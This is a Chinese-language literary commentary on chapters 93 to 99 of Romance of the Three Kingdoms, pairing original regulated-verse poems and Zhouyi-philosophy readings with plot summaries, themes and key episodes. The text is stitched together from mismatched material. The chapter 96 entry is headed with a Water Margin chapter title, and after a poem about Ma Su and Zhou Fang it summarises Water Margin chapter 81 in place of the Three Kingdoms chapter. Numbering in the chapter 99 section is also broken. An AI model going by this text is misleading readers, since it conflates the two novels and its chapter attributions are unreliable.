    诸葛亮北伐，一路凯歌。到天水郡时，遇到姜维，姜维颇有韬略，调兵遣将让蜀兵难以推进。诸葛亮用反间计，先分兵三路佯攻三城，让姜维请命去冀城（其母所在之地）；又放夏侯楙（曹国驸马、魏军主帅，曾被俘）回天水，并散布谣言说姜维投蜀；还扮假姜维趁夜袭天水。姜维兵少不敌，逃至天水城下又被乱箭射回，走投无路时诸葛亮劝降，姜维归降。夏侯楙败回，曹真领帅印，王朗为军师。两军对阵，王朗想说服诸葛亮投降，诸葛亮痛斥王朗，说他身为汉臣却阿谀谄媚、助逆贼篡位，王朗又羞又恼，气满胸膛，撞死于马下。曹真以为诸葛亮会夜袭，结果中了诸葛亮的计，曹军自乱阵脚、相互残杀，蜀兵趁势进攻，曹真惨败。


    主题思想：


    这一回体现了“拥刘反曹”的思想倾向。诸葛亮代表的蜀汉一方被描绘为正义、智慧的象征，他的北伐是为了兴复汉室，而曹魏一方的王朗等则被刻画为助纣为虐的形象。


    展现了智慧和谋略的重要性。诸葛亮用计收降姜维、大败曹真，突出了他的足智多谋，强调了在战争中智慧和策略的关键作用。


    反映出人心向背的重要性。姜维最终归降蜀汉，暗示了蜀汉的仁德和正义得到了部分人的认可，而曹魏虽势力强大，但内部并非铁板一块，存在着各种矛盾和问题。


    主要人物：


    诸葛亮：蜀汉丞相，智慧的化身，用反间计成功收降姜维，又以犀利言辞骂死王朗，展现出了卓越的智慧和口才。


    姜维：原是曹魏将领，后因被诸葛亮的计谋所困，又感于诸葛亮的诚意和蜀汉的正义，归降蜀汉，成为


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    诸葛亮的得力助手，具有较高的军事才能。


    王朗：曹魏的司徒，自恃口才出众，想劝降诸葛亮，却反被诸葛亮骂死，是一个自不量力、助纣为虐的形象。


    曹真：曹魏将领，接替夏侯楙成为主帅，但在与诸葛亮的对抗中屡屡失败，表现出其军事才能不如诸葛亮。


    夏侯楙：曹魏驸马，魏军主帅，能力平庸，轻易被诸葛亮俘虏，成为诸葛亮实施反间计的关键人物。


    经典情节：


    诸葛亮骂死王朗：两军对阵前，王朗夸下海口，说只用一席话就能让诸葛亮拱手而降。但诸葛亮义正词严地驳斥王朗，指出曹魏名为汉相、实为汉贼，王朗身为汉臣却阿谀谄媚、苟图衣食，一番羞辱让王朗气满胸膛，撞死于马下。这一情节充分展示了诸葛亮的口才和智慧，也成为《三国演义》中的经典桥段。


    姜维归降：诸葛亮巧用反间计，让姜维陷入困境，走投无路之下归降蜀汉。这一情节不仅体现了诸葛亮的谋略，也为蜀汉增添了一位重要的将领，为后续的故事发展埋下伏笔。


    经典诗句：后人有诗赞孔明曰：“兵马出西秦，雄才敌万人。轻摇三寸舌，骂死老奸臣。”此诗高度赞扬了诸葛亮的雄才大略和出色的口才，仅用言语就骂死了王朗这一“老奸臣”。


    经典典故：这一回中的主要典故就是“骂死王朗”，这一典故常被用来形容一个人用犀利的言辞让对方羞愧难当、无地自容，甚至导致对方死亡，也从侧面反映了言辞的力量和智慧的重要性。同时，姜维归降也成为三国故事中的一个重要事件，对蜀汉后期的军事发展产生了重要影响。


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 第94章 诸葛亮乘雪破羌兵 司马懿克日擒孟达

    一、七律诗来解析《雪与谋：〈三国演义〉第 94 回的周易哲学解析》：


    （一）《解析〈三国演义〉第 94 回》


    诸葛筹谋巧借天，雪飘破敌智谋全。


    易理玄妙藏机变，世事纷纭蕴道玄。


    司马克日擒孟达，风云变幻势难眠。


    兴亡成败皆有定，哲理深深映史篇。


    （二）诠释:


    这首诗围绕回目内容，结合周易哲学的观点，描绘了诸葛亮的智谋与雪的运用，司马懿的果断行动，以及其中蕴含的世事变化与哲理思考，同时也体现了历史的沧桑与厚重。


    诗的首联“诸葛筹谋巧借天，雪飘破敌智谋全”，突出了诸葛亮利用天降大雪这一自然条件来施展谋略，战胜敌人，展现了他的智谋高超。


    颔联“易理玄妙藏机变，世事纷纭蕴道玄”，强调了周易哲学中蕴含的玄妙机变和世间事物的复杂与深邃之道。


    颈联“司马克日擒孟达，风云变幻势难眠”，描述了司马懿迅速果断地擒获孟达，体现了局势的风云变幻和紧张氛围。


    尾联“兴亡成败皆有定，哲理深深映史篇”，则表达了历史的发展有其必然规律，而这些哲理深深地映照在历史篇章中。


    整首诗通过对《三国演义》第 94 回的解析，将其中的智谋、周易哲学以及历史的沧桑感生动地呈现出来。


    （三）三国演义第 94回回目，经典梗概，主题思想，经典情节，经典诗句，经典典故


    回目：《三国演义》第 94 回回目为“诸葛亮乘雪破羌兵 司马懿克日擒孟达”。


    经典梗概：


    诸葛亮破羌兵：曹真被诸葛亮打得无还手之力，于是采用郭淮的计策，派人向羌王求救。羌王彻里吉派雅丹丞相和越吉元帅率领十五万羌兵，以铁车兵为先锋进攻西平关。关兴、张苞和马岱领命迎敌，却因不熟悉羌兵战术大败而归。诸葛亮亲自前往查看，恰逢天降大雪，他便利用雪天设下计谋。先让魏延连败数阵引诱羌兵进入雪坑，羌兵的铁车在雪地上行动不便，自相践踏，死伤无数。随后，关兴、张苞、姜维、马岱等将领从四面杀出，蜀军大获全胜，马岱活捉了雅丹丞相，越吉元帅被关兴所杀。


    司马懿擒孟达：孟达本是蜀将，被迫降魏后，因在魏不受重用，又想重新归蜀。诸葛亮得知后写信提醒孟达要小心司马懿。但孟达不以为然，认为司马懿远在宛城，即便来攻也要先请示曹睿，一个月后才能到达。然而，司马懿得知孟达谋反的消息后，先斩后奏，迅速调兵，仅用几天时间就兵临新城城下，将孟达团团包围。最终，在申耽、申仪兄弟的协助下，司马懿攻破新城，孟达被斩，徐晃在这场战斗中被孟达射杀。


    主题思想：


    凸显智谋的重要性：此回中诸葛亮以雪为谋破羌兵，展现出了他卓越的军事智慧和应变能力。而孟达因轻视司马懿，对局势判断失误，最终兵败被杀，两者形成鲜明对比，强调了在战争中智谋和正确判断的关键作用。


    反映局势的复杂性：通过曹真向羌兵求救、孟达欲反魏归蜀以及司马懿迅速平叛等情节，展现了三国时期各势力之间的相互争斗、联合与背叛，局势错综复杂。各方势力都在为自己的利益谋划，没有永恒的盟友，只有不断变化的局势和利益关系。


    强调时机的把握：司马懿能迅速抓住孟达谋反的时机，果断出兵，在短时间内取得胜利，体现了把握时机的重要性。


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    而孟达错估了司马懿的行动速度，错失了防御的最佳时机，导致失败，这进一步强调了在战争和政治斗争中，时机稍纵即逝，必须准确把握。


    经典情节：


    诸葛亮雪破羌兵：诸葛亮利用天降大雪的天气条件，巧妙地设计引诱羌兵进入陷阱。他先让魏延连败数阵，将羌兵引入雪坑，使羌兵的铁车在雪地上失去优势，自相践踏。这一情节充分展示了诸葛亮对天时、地利的巧妙运用以及他卓越的军事指挥才能，给读者留下了深刻的印象。


    孟达轻敌致败：孟达收到诸葛亮的提醒信后，对司马懿的到来不屑一顾，认为自己有足够的时间准备防御。他过于自信，没有充分认识到司马懿的果断和能力，这种轻敌的态度最终导致了他的失败。孟达的心理变化和错误判断，使这个情节具有一定的戏剧性和警示意义。


    司马懿克日擒孟达：司马懿得知孟达谋反的消息后，不顾常规程序，先斩后奏，迅速出兵，以极快的速度赶到新城，将孟达包围。这一系列行动展现了司马懿的果断、机智和强大的军事执行力，与孟达的轻敌形成鲜明对比，也让读者看到了司马懿作为曹魏重要将领的能力和手段。


    经典诗句：此回中似乎没有特别经典且流传广泛的诗句。


    经典典故：


    关羽显圣：关兴被羌兵围困，在绝境中突然看到关羽显圣救他。关羽不仅吓退了羌兵，还为关兴指明了逃生的道路。这一情节虽然带有一定的神话色彩，但在《三国演义》中却屡见不鲜，如诸葛亮借东风等情节，都是为了增加故事的传奇性和神秘色彩，同时也体现了蜀汉人物的忠义精神在后人心中的崇高地位。


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 第95章 马谡拒谏失街亭 武侯弹琴退仲达

    一、七律诗来解析《周易哲学视角下的街亭风云与空城奇谋》：


    （一）《街亭空城悟易玄》


    街亭战起风云变，马谡刚愎失要关。


    诸葛抚琴谋妙计，仲达疑虑退兵还。


    阴阳转化玄机显，动静相生局势盘。


    周易哲思藏妙策，智谋深远史留篇。


    （二）诠释:


    这首诗以街亭之战的变化为背景，描述了马谡的失误和诸葛亮的空城奇谋。体现了周易哲学中阴阳转化、动静结合的理念，以及智谋在其中的重要作用，最后强调了这一经典情节在历史上的深远影响。


    （三）三国演义第 95回回目，经典梗概，主题思想，经典情节，经典诗句，经典典故


    回目：《马谡拒谏失街亭 武侯弹琴退仲达》


    经典梗概：


    张合与司马懿一同进攻蜀兵，商议计取街亭、列柳城这两处汉中的咽喉之地。参军马谡主动请缨去守街亭，并立下军令状。诸葛亮派王平率二万五千兵协助，又派高翔去守列柳城，魏延前往协助，命赵云、邓芝出兵去箕谷做疑兵。


    马谡、王平二人到街亭后，马谡不听王平劝谏，执意屯兵山上。司马懿得知后，命张合挡住王平来路，又令申耽、申仪断了蜀兵汲水道路。蜀兵被断水源，军心动乱，马谡掌控不住，街亭被张合拿下。魏督郭淮趁机又取了列柳城。


    诸葛亮得知街亭失守后，急令关兴、张苞各引三千兵投武功山小路而行。此时司马懿率军十万直逼西城，而西城只有千余残兵。诸葛亮心生一计，掩藏军士，大开城门，自己在城楼焚香操琴，十数人沿街清扫。司马懿见状，疑有伏兵，不敢进城，最终退兵。


    主题思想：


    用人之道的反思：马谡虽饱读兵书，但实战经验不足且刚愎自用，诸葛亮用其守街亭导致大败，凸显了正确用人的重要性。不能仅凭理论知识或一时的主动请缨就委以重任，需要综合考量将领的才能、性格、经验等多方面因素。


    智慧与勇气的赞歌：在西城危急时刻，诸葛亮临危不惧，巧用空城计吓退司马懿大军，展现了其过人的智慧和非凡的勇气。这不仅体现了诸葛亮作为军事家的谋略，也体现了他在极端困境下的沉着冷静和应对能力。


    战争局势的瞬息万变：街亭的失守使蜀军局势急转直下，从战略进攻变为被动防守，而诸葛亮的空城计又暂时化解了危机，说明战争局势变化迅速，胜负往往取决于关键战役的胜负和将领的决策。


    经典情节：


    马谡拒谏：马谡在守街亭时，王平多次谏言，认为应在五路总口下寨，以图久计，但马谡自以为是，认为山僻之处魏兵定不敢来，坚持在山上屯军，为后来的失败埋下了伏笔。


    武侯弹琴退仲达：诸葛亮在西城面对司马懿的十万大军，不慌不忙，大开城门，自己在城楼上焚香操琴，神态悠然。司马懿见此情景，心中疑虑重重，最终选择退兵，诸葛亮得以化险为夷。


    经典诗句：“瑶琴三尺胜雄师，诸葛西城退敌时。十五万人回马处，土人指点到今疑。”这首诗生动地描绘了诸葛亮在西城以琴退敌的场景，赞扬了诸葛亮的智慧和胆识，也让后人对这一经典情节充满了遐想和疑惑。


    经典典故：


    空城计：诸葛亮面对司马懿的大军，利用对方的多疑心理，大开城门，以空城迷惑敌人，使司马懿不敢进城，从而成功退敌。空城计是一种虚虚实实的疑兵之计，是《三十六计》中的重要一计，此计在敌强我弱的情况下被广泛应用


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    。


    失街亭：街亭是战略要地，马谡的错误决策导致街亭失守，这成为了影响整个战局的关键事件。失街亭也成为了因用人不当或指挥失误而导致失败的典型案例，被后人所铭记和反思。


    二、《周易哲学视角下的街亭风云与空城奇谋》


    《马谡拒谏失街亭 武侯弹琴退仲达》这一经典情节在《三国演义》中具有重要的地位，它不仅展现了战争的残酷与智谋的较量，更蕴含了深刻的哲学思考。从周易哲学的角度来深度解析这一情节，可以揭示出其中更为丰富的内涵和意义。


    在周易哲学中，变化是永恒的主题。街亭之战的发生与发展，充分体现了事物变化的无常性。马谡主动请缨守街亭，看似是一次主动的选择，但实际上他对形势的判断出现了严重偏差。他忽视了敌军的强大和地形的复杂性，过分自信地将军队屯于山上，最终导致了街亭的失守。这一结果的出现，并非偶然，而是事物发展变化的必然结果。马谡的刚愎自用和对形势的误判，使得他无法顺应时势的变化，最终陷入了失败的境地。


    而诸葛亮在得知街亭失守后，面临着巨大的危机。司马懿率领十万大军直逼西城，而西城只有千余残兵。在这看似绝境的情况下，诸葛亮却展现出了非凡的智慧和勇气。他运用周易哲学中“变”的思想，巧妙地设计了空城计。他深知司马懿生性多疑，便利用这一性格特点，大开城门，自己在城楼焚香操琴，营造出一种城内有伏兵的假象。司马懿见此情景，心中疑虑重重，不敢贸然进攻，最终选择退兵。诸葛亮的空城计，正是在看似绝境中寻找到了变化的契机，通


    过巧妙的布局和心理战术，实现了形势的逆转。


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 第96章 燕青月夜遇道君，戴宗定计赚萧让

    一、关于《周易哲学视角下的“孔明挥泪斩马谡，周鲂断发赚曹休”》的七律诗词解析：


    （一）《易理析三国双事》


    孔明斩谡泪沾襟，周鲂施谋断发深。


    刚正军规行峻法，奇谲诈术赚曹心。


    阴阳易变观人事，成败兴衰鉴古今。


    三国纷争多智斗，易理玄妙此中寻。


    （二）诠释:


    首联解析：“孔明斩谡泪沾襟”：描述了诸葛亮挥泪斩马谡这一经典情节。“泪沾襟”生动地体现出诸葛亮内心的痛苦与纠结。从周易哲学的“阴阳”观点来看，诸葛亮与马谡之间既有上级与下属的关系（阳），又有深厚的情谊（阴）。斩马谡是为了维护军法的刚正（阳），而挥泪则是出于私人情感的不舍（阴），这一矛盾的行为正体现了阴阳的相互交织与冲突。


    “周鲂施谋断发深”：周鲂为了成功诱骗曹休，不惜割断自己的头发以表忠心，这一行为在当时的情境下显得极为决绝。此句既点明了周鲂所使用的计谋手段，也暗示了他为达目的不择手段的一面，与周易哲学中事物的变化与变通相呼应。周鲂能够根据曹休的心理和局势的变化，灵活地运用断发这一行为来取得曹休的信任，展现了一种在复杂局势中寻求突破的智慧。


    颔联解析： “刚正军规行峻法”：强调了诸葛亮斩马谡是为了维护军规的严肃性。在周易哲学中，“法”可以视为一种秩序和规律的体现，军法的存在是为了保证军队的战斗力和纪律性。诸葛亮挥泪斩马谡，正是遵循了这种刚正的法则，即使内心痛苦，但为了大局不得不如此，这体现了他对法则的坚守和尊重。


    “奇谲诈术赚曹心”：周鲂断发的行为是一种奇谲的诈术，成功地赚取了曹休的信任。从周易哲学的角度来看，这是一种对人心的把握和利用。曹休的贪心和轻信被周鲂所洞察，周鲂通过断发这一行为，巧妙地迎合了曹休的心理，从而达到了自己的目的。这种行为虽然在道德层面上可能受到质疑，但在战争的背景下，却是一种有效的策略。


    颈联解析： “阴阳易变观人事”：将周易哲学中的阴阳易变理论与三国中的人事相结合。在“孔明挥泪斩马谡，周鲂断发赚曹休”这两个事件中，人物的命运和行为都受到了各种因素的影响，如同阴阳的相互转化和变化。诸葛亮的决策、马谡的自负、周鲂的智谋、曹休的轻信等，都是阴阳易变在人事上的体现。通过观察这些人物的行为和命运，我们可以更好地理解周易哲学中阴阳变化的道理。


    “成败兴衰鉴古今”：三国时期的纷争和人物的命运，不仅是当时历史的写照，也为后世提供了宝贵的经验和教训。孔明斩马谡的失败教训，周鲂断发赚曹休的成功案例，都成为了后人研究历史、思考人生的重要素材。从周易哲学的角度来看，这些成败兴衰的故事也提醒我们，事物的发展是不断变化的，我们需要根据不同的情况灵活应对，才能在复杂的社会中立足。


    尾联解析： “三国纷争多智斗”：三国时期是一个充满智慧较量和权谋斗争的时代，诸葛亮、周鲂等人物都是其中的佼佼者。他们在战争和政治斗争中，运用自己的智慧和谋略，为自己的国家和势力争取利益。这种智斗的过程，不仅展现了人物的才华和能力，也反映了当时社会的复杂和残酷。


    “易理玄妙此中寻”：点明了主题，即从三国时期的


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    这两个事件中可以探寻到周易哲学的玄妙之处。周易哲学作为中国古代的一种哲学思想，其理论和观点在三国故事中得到了生动的体现。通过对“孔明挥泪斩马谡，周鲂断发赚曹休”的分析，我们可以更深入地理解周易哲学的内涵和价值，同时也能从历史的故事中汲取智慧和力量。


    （三）《水浒传》第 81 回的回目是“燕青月夜遇道君，戴宗定计赚萧让”。以下是对这一回的详细介绍：


    1. 梗概：


    宋江放走高太尉后，疑心他不会禀报招安之事，于是派燕青和戴宗乔装进城，打算另寻途径促成招安。燕青到了东京，先去求李师师帮忙。李师师对燕青的才情颇为欣赏，留他在自己家中歇宿。


    正巧当晚宋徽宗微服私访来到李师师处，李师师便将燕青引荐给皇帝。燕青借机向皇帝诉说了梁山好汉们“替天行道、保国安民”的忠心以及渴望招安的愿望，还详细说明了之前两次招安失败的缘由，让皇帝了解到自己被童贯和高俅蒙蔽的事实。


    另一方面，戴宗得知燕青与皇帝见面后，与燕青合计营救被抓的兄弟乐和以及善写文书的萧让。他们买通了高太尉的家丁，了解到乐和与萧让的关押之处。最终，两人于半夜前往高俅家的后花园，成功救出了乐和与萧让。


    2. 主题思想：


    对招安的渴望：此回集中体现了梁山好汉们对于招安的积极争取。尽管之前经历了两次招安的失败，但他们仍未放弃，通过各种途径试图让朝廷了解他们的真实想法和忠心，反映出他们内心深处对正统身份的向往以及希望为国家效力的愿望。


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 第97章 讨魏国武侯再上表，破曹兵姜维诈献书

    一、七律诗词解析《三国演义》第 97 回的作品：


    （一）《〈三国演义〉第 97 回解析》


    武侯上表志未穷，伐魏雄心映碧空。


    姜维诈书破曹兵，智谋深远计无穷。


    风云变幻三国事，命运沉浮几人同。


    周易哲思蕴其中，史册留名意万重。


    （二）诠释:


    这首诗围绕第 97 回的情节展开，表达了诸葛亮的坚定意志和姜维的智谋运用，同时也体现了三国时期命运的变幻莫测，以及周易哲学在其中的蕴含。


    “武侯上表志未穷，伐魏雄心映碧空”，描述了诸葛亮再次上表伐魏，展现出他坚定的志向和不灭的雄心，如同映照在碧空之上那般鲜明。


    “姜维诈书破曹兵，智谋深远计无穷”，强调了姜维使用诈降书这一计策攻破曹兵，体现了他智谋的高深和计策的层出不穷。


    “风云变幻三国事，命运沉浮几人同”，指出三国时期局势风云变幻，人物的命运也起伏不定，有几人能真正掌控自己的命运呢。


    “周易哲思蕴其中，史册留名意万重”，点明了这一回中蕴含着周易哲学的思想，而这些故事也将在史册上留下重重的印记，意义深远。


    整首诗通过对《三国演义》第 97 回的解析，展现了其中丰富的情节和深刻的内涵，同时也传达了对历史和命运的思考。


    （三）《三国演义》第97回回目有两种常见表述：一种是“讨魏国武侯再上表，破曹兵姜维诈献书”；另一种是“诸葛亮再上表伐魏，破曹真姜维诈降书”。以下是该回的详细介绍：


    1. 梗概：


    魏都督曹休被东吴陆逊大破于石亭，气忧成病，到洛阳后疽发背而死，魏主曹睿敕令厚葬。司马懿料到诸葛亮可能乘虚来取长安，便引兵急回。


    东吴遣使致书蜀中，请兵伐魏，并言大破曹休之事。此时诸葛亮兵强马壮，粮草丰足，正要出师，忽闻一阵大风把庭前松树吹折，孔明占卜说此风主损一大将。正饮酒间，赵云长子赵统、次子赵广来报，父亲昨夜三更病重而死。孔明和后主刘禅得知后皆悲痛万分，刘禅追赠赵云为大将军，谥封顺平侯，敕葬于成都锦屏山之东，并建立庙堂四时享祭。


    诸葛亮让杨仪赍出师表呈给后主，后主览表后敕令孔明出师。孔明起三十万精兵，令魏延总督前部先锋，径奔陈仓道口而来。陈仓口已筑起一城，内有大将郝昭守把，魏延连日攻城不能破。部曲靳祥自愿去说降郝昭，但两次都未成功。


    此时东边救兵到了，魏先锋大将王双前来支援。诸葛亮无计可施，问计姜维，姜维命人送诈降书与曹真，曹真不听部下费耀之言，执意深信诈降书，派费耀领兵出城，结果费耀中伏兵身亡，曹真兵败散逃。


    2. 主题思想：


    忠诚与担当：此回通过诸葛亮坚持北伐，即便面对诸多困难仍不懈努力，体现了他对蜀汉的忠诚以及为实现先帝遗愿的担当精神。赵云一生忠勇，为蜀汉立下汗马功劳，他的离世以及后主和众人对他的追思，也进一步强化了忠诚的主题。


    智谋与策略：姜维的诈降计以及郝昭的守城策略等情节，展现了战争中智谋和策略的重要性。双方的斗智斗勇，反映出三国时期诸侯纷争、群雄逐鹿的局面下，智慧和谋略是


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    决定胜负的关键因素。


    时势与命运：曹休兵败身亡、赵云病逝等事件，暗示了时势的变化和命运的无常。即使是曾经叱咤风云的人物，也难以逃脱命运的安排，而诸葛亮等人为了国家的兴衰，仍在不断努力抗争。


    3. 经典情节：


    赵云之死：赵云作为蜀汉的重要将领，一生英勇，曾在长坂坡七进七出救阿斗等，有着赫赫战功。他的突然离世不仅令诸葛亮悲痛不已，称“子龙身故，国家损一栋梁，吾去一臂也”，也让后主刘禅放声大哭，追赠其大将军、顺平侯等。这一情节展现了赵云在蜀汉的重要地位以及众人对他的敬重。


    郝昭守城：郝昭以三千兵马坚守陈仓城，面对诸葛亮的云梯攻城、冲车攻城、挖地道等多种进攻方式，他沉着应对，指挥士兵用火箭烧云梯、用葛绳飞打冲车、掘重壕横截地道等，使得诸葛亮二十余日未能破城。这一情节突出了郝昭的军事才能和守城的坚定决心。


    姜维诈降：姜维向诸葛亮献计，送诈降书给曹真。曹真轻信了诈降书，派费耀领兵出城，结果中了姜维的埋伏，费耀自刎身亡，曹真也兵败散逃。这一情节展示了姜维的智谋和曹真的轻信，也为后续的战争局势带来了新的变化。


    4. 经典诗句：“常山有虎将，智勇匹关张。汉水功勋在，当阳姓字彰。两番扶幼主，一念答先皇。青史书忠烈，应流百世芳。”这首诗高度赞扬了赵云的勇猛、智谋以及对蜀汉的忠诚，肯定了他的历史功绩和崇高的地位，表达了后人对赵云的敬仰和赞颂之情。


    5. 经典典故：


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 第98章 “追汉军王双受诛，袭陈仓武侯取胜

    一、关于《周易哲学视角下的“追汉军王双受诛，袭陈仓武侯取胜”》的七律诗词及解析：


    （一）《易理析武侯之胜》


    武侯奇策破曹营，易理玄机蕴此中。


    王双骄狂终受戮，孔明睿智显神通。


    阴阳变化兵机妙，刚柔相济胜局融。


    陈仓捷音传千古，青史留名颂卧龙。


    （二）解析：


    首联“武侯奇策破曹营，易理玄机蕴此中”： 这一联开篇点题，指出武侯诸葛亮凭借奇妙的策略攻破了曹军阵营，而这其中蕴含着《周易》的哲学道理。诸葛亮的胜利并非偶然，而是他善于运用智慧和策略的结果，这与《周易》中强调的对事物变化的把握和应对有着紧密的联系。在这场战役中，诸葛亮对局势的准确判断、对敌人心理的洞察以及对战术的巧妙运用，都体现了他对战争规律的深刻理解，正如《周易》中对事物发展变化规律的探索。


    颔联“王双骄狂终受戮，孔明睿智显神通”： “王双骄狂终受戮”描述了曹魏大将王双因为骄傲自大、轻敌冒进，最终被诸葛亮设计诛杀。在《周易》的哲学中，事物的发展往往会因为人的行为和态度而发生变化。王双的骄狂使他失去了对局势的正确判断，陷入了诸葛亮的陷阱，这也体现了《周易》中“满招损，谦受益”的道理。


    “孔明睿智显神通”则强调了诸葛亮的睿智和神通广大。他能够准确地把握敌人的弱点，利用各种因素创造有利的战机，最终取得了胜利。这与《周易》中强调的“知变”“应变”的思想相契合，诸葛亮正是通过对战争形势的不断变化的把握，灵活地调整自己的策略，才能够战胜强大的敌人。


    颈联“阴阳变化兵机妙，刚柔相济胜局融”： “阴阳变化兵机妙”中，阴阳是《周易》的核心概念之一，代表着事物的对立统一和相互转化。在战争中，敌我双方的力量、形势等因素都是相互对立又相互依存的，诸葛亮能够准确地把握这些因素的变化，利用阴阳的相互转化来制定战略。例如，在面对曹军的坚守时，诸葛亮通过诱敌深入、声东击西等战术，使曹军的防守出现漏洞，从而取得了胜利。这种对阴阳变化的把握，使他的兵机显得格外巧妙。


    “刚柔相济胜局融”体现了《周易》中刚柔相济的思想。在战争中，刚硬的武力和柔和的策略是相互结合的。诸葛亮既善于运用智谋制定策略，又能够果断地指挥军队进行战斗，刚柔相济，使得胜利的局面得以融合。例如，在与王双的战斗中，诸葛亮先以诱敌之计消耗王双的兵力，然后再以伏兵出击，一举将其斩杀，这就是刚柔相济的体现。


    尾联“陈仓捷音传千古，青史留名颂卧龙”： “陈仓捷音传千古”指的是诸葛亮在陈仓取得的胜利，这一胜利成为了历史上的佳话，被人们传颂千古。陈仓之战是诸葛亮北伐中的一次重要战役，他的胜利不仅打击了曹军的士气，也为蜀汉的发展创造了有利的条件。这一胜利的意义重大，因此能够在历史上流传下来。


    “青史留名颂卧龙”则表达了对诸葛亮的敬仰和赞颂之情。诸葛亮作为蜀汉的丞相，为了实现兴复汉室的目标，鞠躬尽瘁，死而后已。他的智慧、忠诚和担当精神，成为了后世人们敬仰的楷模。在这场战役中，他的表现更是淋漓尽致地展现了他的才能和品质，因此值得被青史留名，被人们赞颂。


    （三）《三国演义》第98回回目为“追汉


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    军王双受诛，袭陈仓武侯取胜”。以下是对该回的详细介绍：


    1. 梗概：


    司马懿算定蜀兵粮草不足，只能支撑一月，建议魏兵坚守不出，待蜀兵粮尽自退。曹叡下诏让曹真等将领听从司马懿的建议。


    诸葛亮每日派人挑战，魏兵坚守不理。魏将孙礼假运粮草，车上装载引火之物，想诱蜀兵劫粮后进行火攻，但被诸葛亮识破。诸葛亮将计就计，安排马岱、马忠、张嶷等人内外夹攻，大败孙礼。曹真得知中计后，坚守大寨，更不出战。


    诸葛亮安排魏延执行密计斩杀王双。魏延依计先在王双营边埋伏三十骑，待王双起兵追赶时，去他营中放火，趁王双回寨时出其不意将其斩杀。


    东吴孙权听从张昭之言，登坛即皇帝位，谥父孙坚为武烈皇帝，母吴氏为烈武皇后，兄孙策为沙桓王，立子孙登为皇太子，诸葛瑾长子诸葛恪为太子辅佐，张昭次子张休为太子右弼。


    陈仓城中郝昭病重，诸葛亮趁机起兵攻城，郝昭听闻惊死，蜀兵趁乱拥入城。曹叡听闻陈仓城失守、郝昭病亡，心中大惊，召司马懿商议计策，司马懿从曹真府中再三让印后，受印引兵准备与孔明决战。


    2. 主题思想：


    此回体现了战争中智谋的重要性。诸葛亮凭借其过人的智慧和谋略，识破并巧妙应对了魏军的计谋，取得了胜利，强调了智慧在战争中的关键作用。


    也反映了三国时期各国势力之间的相互博弈和竞争。东吴孙权称帝，显示出东吴势力的崛起和其对中原的觊觎，而魏蜀之间的战争仍在持续，三国鼎立的局面依然在不断变化和发展。


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 第99章 诸葛亮大破魏兵 司马懿入寇西蜀

    一、七律诗词对《周易哲学视角下的〈三国演义〉第 99 回解析》的描述：


    （二）《〈三国演义〉第 99 回解析》


    周易玄妙蕴哲思，三国风云战火弥。


    诸葛智谋破魏阵，仲达入寇扰蜀西。


    阴阳相克玄机显，变化无常战局移。


    卦象乾坤藏奥秘，英雄壮志史中题。


    （二）诠释:


    这首诗以七律的形式，围绕《三国演义》第 99 回的解析，表达了周易哲学在其中的体现，如阴阳相克、变化无常等，同时也展现了英雄们的智慧与壮志在历史中的重要意义。


    诗的首联“周易玄妙蕴哲思，三国风云战火弥”，点明了《周易》哲学的深奥玄妙以及《三国演义》中弥漫的战争风云，为整首诗奠定了背景。


    颔联“诸葛智谋破魏阵，仲达入寇扰蜀西”，具体描述了第 99 回中诸葛亮运用智谋大破魏军，而司马懿则入寇西蜀的情节，突出了双方的主要行动。


    颈联“阴阳相克玄机显，变化无常战局移”，深入阐释了周易哲学中阴阳相克的道理以及战争中局势的变化无常，体现了这一回中蕴含的哲学内涵。


    尾联“卦象乾坤藏奥秘，英雄壮志史中题”，强调了卦象所隐藏的奥秘以及英雄们的壮志在历史中留下的印记，进一步升华了主题。


    整首诗通过对《三国演义》第 99 回的解析，展现了周易哲学与故事情节的紧密结合，以及其中所蕴含的深刻哲理和历史意义。


    （三）《三国演义》第99回的回目是“诸葛亮大破魏兵 司马懿入寇西蜀”。以下是对该回的详细介绍：


    1. 经典梗概：


    诸葛亮出兵祁山，与司马懿对峙。司马懿派郭淮、孙礼从小路去救武都、阴平，想抄蜀军后路，却被诸葛亮识破。诸葛亮已安排姜维、王平分别攻破武都、阴平，还在半路设伏，大败郭淮、孙礼。张苞在追击敌军时，跌入山涧，头破血流，被送回成都养病。


    之后，司马懿又想趁诸葛亮不在营中，派张合、戴陵夜里劫寨，结果又中了诸葛亮的计。诸葛亮用草车横截去路，伏兵四起，张合奋勇突围，救出戴陵。司马懿见此，只得坚守不出。


    诸葛亮大胜后，引得魏延每日挑战，魏兵不出。诸葛亮为引司马懿出战，佯装退兵，连退三次，每次退三十里下寨。司马懿起初不信，多次哨探后，张合按捺不住，请求出战，司马懿让他分兵两路，自己接应。


    诸葛亮预测到司马懿会出兵，安排王平、张翼在山谷中设伏。最终，张合、戴陵中了埋伏，大败而归。此时，曹真、司马懿趁机入侵西蜀，诸葛亮预测一个月内必有大雨，于是坚守不战。


    2. 主题思想：


    展现智谋的较量：此回重点突出了诸葛亮与司马懿之间的智谋博弈。诸葛亮算无遗策，一次次识破司马懿的计谋，将其玩弄于股掌之间，体现了诸葛亮卓越的军事才能和智慧，强调了智慧在战争中的重要性。


    战争的残酷与无常：张苞的意外受伤以及后来的病逝，展现了战争的残酷和不可预测性。同时，战争的胜负也并非完全取决于兵力的多寡，而是将领的指挥、策略等多种因素的综合作用。


    局势的变化与应对：曹真、司马懿入寇西蜀，诸葛亮迅速做出应对，展现了他对局


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    势的准确判断和沉稳应对。这也反映出在战争中，将领需要根据不断变化的局势及时调整战略，才能取得胜利。


    3. 经典情节：


    草车设伏：司马懿派张合、戴陵劫寨，诸葛亮提前用数百辆草车横截去路，四周设下伏兵。当魏兵到来时，伏兵四起，火光齐明，鼓角大震，让魏兵陷入困境。此情节充分展示了诸葛亮的神机妙算。


    张合勇战：张合在中了诸葛亮的埋伏后，奋勇突围，无人敢当，展现了他的勇猛。诸葛亮在山上见张合如此英勇，认为他是蜀中之害，想要除掉他，为后文的情节发展埋下伏笔。


    诸葛亮退兵诱敌：诸葛亮为引司马懿出战，佯装退兵，且每次退三十里下寨，这一计策成功迷惑了司马懿和张合，导致张合最终中了埋伏。此情节体现了诸葛亮对敌军心理的准确把握。


    4. 经典诗句：此回中可能没有特别着名的独立诗句，但整个《三国演义》中有很多描写战争、人物等的诗句，如“滚滚长江东逝水，浪花淘尽英雄。是非成败转头空。青山依旧在，几度夕阳红”，虽然不是直接针对这一回的，但也能在一定程度上烘托出三国时期的历史氛围和人物命运的沧桑感。


